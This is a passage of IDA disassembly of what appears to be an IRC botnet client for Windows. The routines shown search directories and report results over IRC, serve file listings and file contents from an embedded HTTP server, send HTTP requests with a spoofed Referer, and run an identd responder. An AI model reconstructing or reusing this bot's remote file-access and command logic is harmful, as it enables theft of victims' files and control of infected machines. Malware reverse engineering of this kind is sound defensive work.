		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_41009B
; ---------------------------------------------------------------------------

loc_410081:				; CODE XREF: sub_40FFD8+79j
					; sub_40FFD8+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_410091
		push	5Ch
		pop	eax
		jmp	short loc_410094
; ---------------------------------------------------------------------------

loc_410091:				; CODE XREF: sub_40FFD8+B2j
		movsx	eax, al

loc_410094:				; CODE XREF: sub_40FFD8+B7j
		mov	[ebp+ebx+var_210], al

loc_41009B:				; CODE XREF: sub_40FFD8+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41BC70
		cmp	esi, eax
		pop	ecx
		jb	short loc_410041

loc_4100B1:				; CODE XREF: sub_40FFD8+60j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_314]
		push	offset asc_44AA1E ; "\n"
		push	eax
		call	sub_41F870
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_4F536C	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_4100FF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410102
		push	[ebp+arg_0]
		jmp	short loc_41017E
; ---------------------------------------------------------------------------

loc_4100FF:				; CODE XREF: sub_40FFD8+11Bj
		mov	[ebp+var_4], esi

loc_410102:				; CODE XREF: sub_40FFD8+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_41010F
		mov	[ebp+var_4], esi

loc_41010F:				; CODE XREF: sub_40FFD8+132j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_410189
		cmp	[ebp+arg_C], edi
		jz	short loc_41017D
		lea	eax, [ebp+var_314]
		push	offset asc_44AA20 ; "*"
		push	eax
		call	sub_41F630
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4109C5
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41EA60
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_4101D8
; ---------------------------------------------------------------------------

loc_41017D:				; CODE XREF: sub_40FFD8+14Ej
		push	ebx

loc_41017E:				; CODE XREF: sub_40FFD8+125j
		call	dword_4E3120	; closesocket
		jmp	loc_41026E
; ---------------------------------------------------------------------------

loc_410189:				; CODE XREF: sub_40FFD8+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_4F53C0	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4101D8
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41EA60
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_4F53DC	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_4F533C	; CloseHandle

loc_4101D8:				; CODE XREF: sub_40FFD8+1A3j
					; sub_40FFD8+1CEj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_44AA24
		push	eax
		call	sub_41EA60
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B691
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_455FC4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40FE5C
		push	edi
		push	edi
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_455FD4[ecx], eax
		jnz	short loc_41027D
		push	ebx
		call	dword_4E3120	; closesocket
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset dword_44AA58
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_415A3C
		add	esp, 10h

loc_41026E:				; CODE XREF: sub_40FFD8+1ACj
					; sub_40FFD8+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_410275:				; CODE XREF: sub_40FFD8+2ABj
		push	5
		call	dword_4F534C	; Sleep

loc_41027D:				; CODE XREF: sub_40FFD8+266j
		cmp	[ebp+var_318], edi
		jz	short loc_410275
		jmp	short loc_41026E
sub_40FFD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410287	proc near		; CODE XREF: sub_401C87+7811p
					; sub_40FE5C+153p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41E4B0
		mov	edi, [ebp+arg_0]
		push	offset word_44AA8E
		push	edi
		call	sub_41F870
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_4102E6
		push	[ebp+arg_8]
		mov	esi, 200h
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 14h
		jmp	loc_4103E2
; ---------------------------------------------------------------------------

loc_4102E6:				; CODE XREF: sub_410287+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_4103C8
		call	sub_41BC70
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		push	edi
		call	sub_41BC70
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 0Ch
		jmp	short loc_4103E2
; ---------------------------------------------------------------------------

loc_4103C8:				; CODE XREF: sub_410287+62j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 10h

loc_4103E2:				; CODE XREF: sub_410287+5Aj
					; sub_410287+13Fj
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_41047A
		push	[ebp+arg_C]
		call	sub_41BC70
		cmp	eax, 2
		pop	ecx
		jbe	short loc_41047A
		push	[ebp+arg_C]
		call	sub_41BC70
		sub	eax, 3
		pop	ecx
		jz	short loc_41042E

loc_410422:				; CODE XREF: sub_410287+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_41042E
		dec	eax
		jnz	short loc_410422

loc_41042E:				; CODE XREF: sub_410287+199j
					; sub_410287+1A2j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41E510
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send

loc_41047A:				; CODE XREF: sub_410287+17Dj
					; sub_410287+18Bj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_4F53F0	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_4F53EC	; FindNextFileA
		test	eax, eax
		jz	loc_410871
		mov	edi, 1FFh

loc_4104A6:				; CODE XREF: sub_410287+5E4j
		cmp	[ebp+var_388], ebx
		jz	loc_410859
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410859
		lea	eax, [ebp+var_35C]
		push	offset a__1	; "."
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_410859
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_4F53E8	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4F53E4	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm_0 ; "PM"
		cmp	ax, 0Ch
		ja	loc_4105A3
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax

loc_410522:				; CODE XREF: sub_410287+322j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41EA60
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_4106DA
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4105AE
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_16	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41EC30
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 28h
		jmp	loc_41082A
; ---------------------------------------------------------------------------

loc_4105A3:				; CODE XREF: sub_410287+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_410522
; ---------------------------------------------------------------------------

loc_4105AE:				; CODE XREF: sub_410287+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_410698
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_3	; "%s%s/"
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41BC70
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_410654
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_410659
; ---------------------------------------------------------------------------

loc_410654:				; CODE XREF: sub_410287+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_410659:				; CODE XREF: sub_410287+3CBj
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_41081B
; ---------------------------------------------------------------------------

loc_410698:				; CODE XREF: sub_410287+32Aj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_17	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41EC30
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"

loc_4106C5:				; CODE XREF: sub_410287+47Bj
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 24h
		jmp	loc_41082A
; ---------------------------------------------------------------------------

loc_4106DA:				; CODE XREF: sub_410287+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_410704
		push	ebx
		push	[ebp+var_368]
		call	sub_41727E
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_4106C5
; ---------------------------------------------------------------------------

loc_410704:				; CODE XREF: sub_410287+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_410804
		push	0E6h
		push	offset aTrTdWidthDAH_0 ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_4	; "%s%s"
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41BC70
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_4107AA
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_4107AF
; ---------------------------------------------------------------------------

loc_4107AA:				; CODE XREF: sub_410287+51Aj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_4107AF:				; CODE XREF: sub_410287+521j
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 1Ch
		jmp	short loc_41082A
; ---------------------------------------------------------------------------

loc_410804:				; CODE XREF: sub_410287+480j
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi

loc_41081B:				; CODE XREF: sub_410287+40Cj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41EC30
		add	esp, 18h

loc_41082A:				; CODE XREF: sub_410287+317j
					; sub_410287+44Ej ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		cmp	[ebp+arg_8], ebx
		jz	short loc_410859
		push	7D0h
		call	dword_4F534C	; Sleep

loc_410859:				; CODE XREF: sub_410287+225j
					; sub_410287+240j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	dword_4F53EC	; FindNextFileA
		test	eax, eax
		jnz	loc_4104A6

loc_410871:				; CODE XREF: sub_410287+214j
		push	[ebp+arg_0]
		call	dword_4F53E0	; FindClose
		cmp	[ebp+arg_8], ebx
		jz	short loc_4108B4
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_41727E
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_41727E
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41EA60
		add	esp, 14h
		jmp	short loc_4108E2
; ---------------------------------------------------------------------------

loc_4108B4:				; CODE XREF: sub_410287+5F6j
		cmp	[ebp+arg_C], ebx
		lea	eax, [ebp+var_248]
		jz	short loc_4108CE
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	short loc_4108E2
; ---------------------------------------------------------------------------

loc_4108CE:				; CODE XREF: sub_410287+636j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41EA60
		add	esp, 10h

loc_4108E2:				; CODE XREF: sub_410287+62Bj
					; sub_410287+645j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4E30D8	; send
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_410287	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410908	proc near		; CODE XREF: sub_40FE5C+135p

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	dword_4F53C0	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4109C0
		push	esi
		push	ebx
		call	dword_4F53DC	; GetFileSize
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4109B9

loc_41094D:				; CODE XREF: sub_410908+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_41096A
		mov	edi, [ebp+arg_4]

loc_41096A:				; CODE XREF: sub_410908+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	dword_4F53F4	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	dword_4F53BC	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4109B4
		call	dword_4E301C	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4109B9
		xor	eax, eax

loc_4109B4:				; CODE XREF: sub_410908+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_41094D

loc_4109B9:				; CODE XREF: sub_410908+43j
					; sub_410908+A8j
		push	ebx
		call	dword_4F533C	; CloseHandle

loc_4109C0:				; CODE XREF: sub_410908+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410908	endp


; =============== S U B	R O U T	I N E =======================================



sub_4109C5	proc near		; CODE XREF: sub_40FFD8+17Bp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41BC70
		test	eax, eax
		pop	ecx
		jbe	short loc_4109EE

loc_4109D8:				; CODE XREF: sub_4109C5+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4109E2
		mov	byte ptr [esi+edi], 2Fh

loc_4109E2:				; CODE XREF: sub_4109C5+17j
		push	edi
		inc	esi
		call	sub_41BC70
		cmp	esi, eax
		pop	ecx
		jb	short loc_4109D8

loc_4109EE:				; CODE XREF: sub_4109C5+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4109C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109F3	proc near		; CODE XREF: sub_401C87+531Dp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4E2FF8	; WSAStartup
		push	6
		push	1
		push	2
		call	dword_4E3108	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4E3088	; htons
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AD91
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4E3030	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410AD0
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410A6C
		mov	eax, offset dword_4E5DD0

loc_410A6C:				; CODE XREF: sub_4109F3+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41EC30
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4E30D8	; send
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41FBF0
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4E30A0	; recv
		pop	esi

loc_410AD0:				; CODE XREF: sub_4109F3+6Bj
		push	ebx
		call	dword_4E3120	; closesocket
		call	dword_4E2FE0	; WSACleanup
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41EA60
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_410B10
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h

loc_410B10:				; CODE XREF: sub_4109F3+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4109F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_410B14	proc near		; DATA XREF: sub_401404+430o
					; sub_401C87+4340o

var_238		= byte ptr -238h
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		mov	[ebp+var_8], esi
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	71h
		call	dword_4E3088	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], esi
		call	dword_4E3108	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410C75
		mov	eax, [ebp+arg_0]
		push	edi
		imul	eax, 234h
		mov	dword_455FCC[eax], ebx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		call	dword_4E30B4	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C75
		push	5
		push	ebx
		call	dword_4E30B0	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_410C75
		mov	[ebp+var_C], edi
		mov	edi, 200h

loc_410B9F:				; CODE XREF: sub_410B14+EAj
					; sub_410B14+14Aj ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	dword_4E311C	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_410C70
		movzx	eax, [ebp+var_2A]
		push	eax
		push	[ebp+var_28]
		call	dword_4E3114	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_238]
		push	offset dword_44AF70
		push	eax
		call	sub_41EA60
		lea	eax, [ebp+var_238]
		push	eax
		call	sub_415A3C
		add	esp, 14h
		lea	eax, [ebp+var_238]
		push	esi
		push	edi
		push	eax
		push	[ebp+var_4]
		call	dword_4E30A0	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410B9F
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_418A5E
		push	0Ch
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		call	sub_41E4B0
		push	esi
		push	esi
		lea	eax, [ebp+var_38]
		push	2
		push	eax
		call	sub_40B38F
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp+var_238]
		push	edi
		push	eax
		call	sub_41EC30
		add	esp, 34h
		lea	eax, [ebp+var_238]
		push	esi
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_238]
		push	eax
		push	[ebp+var_4]
		call	dword_4E30D8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_410B9F
		mov	[ebp+var_8], 1
		jmp	loc_410B9F
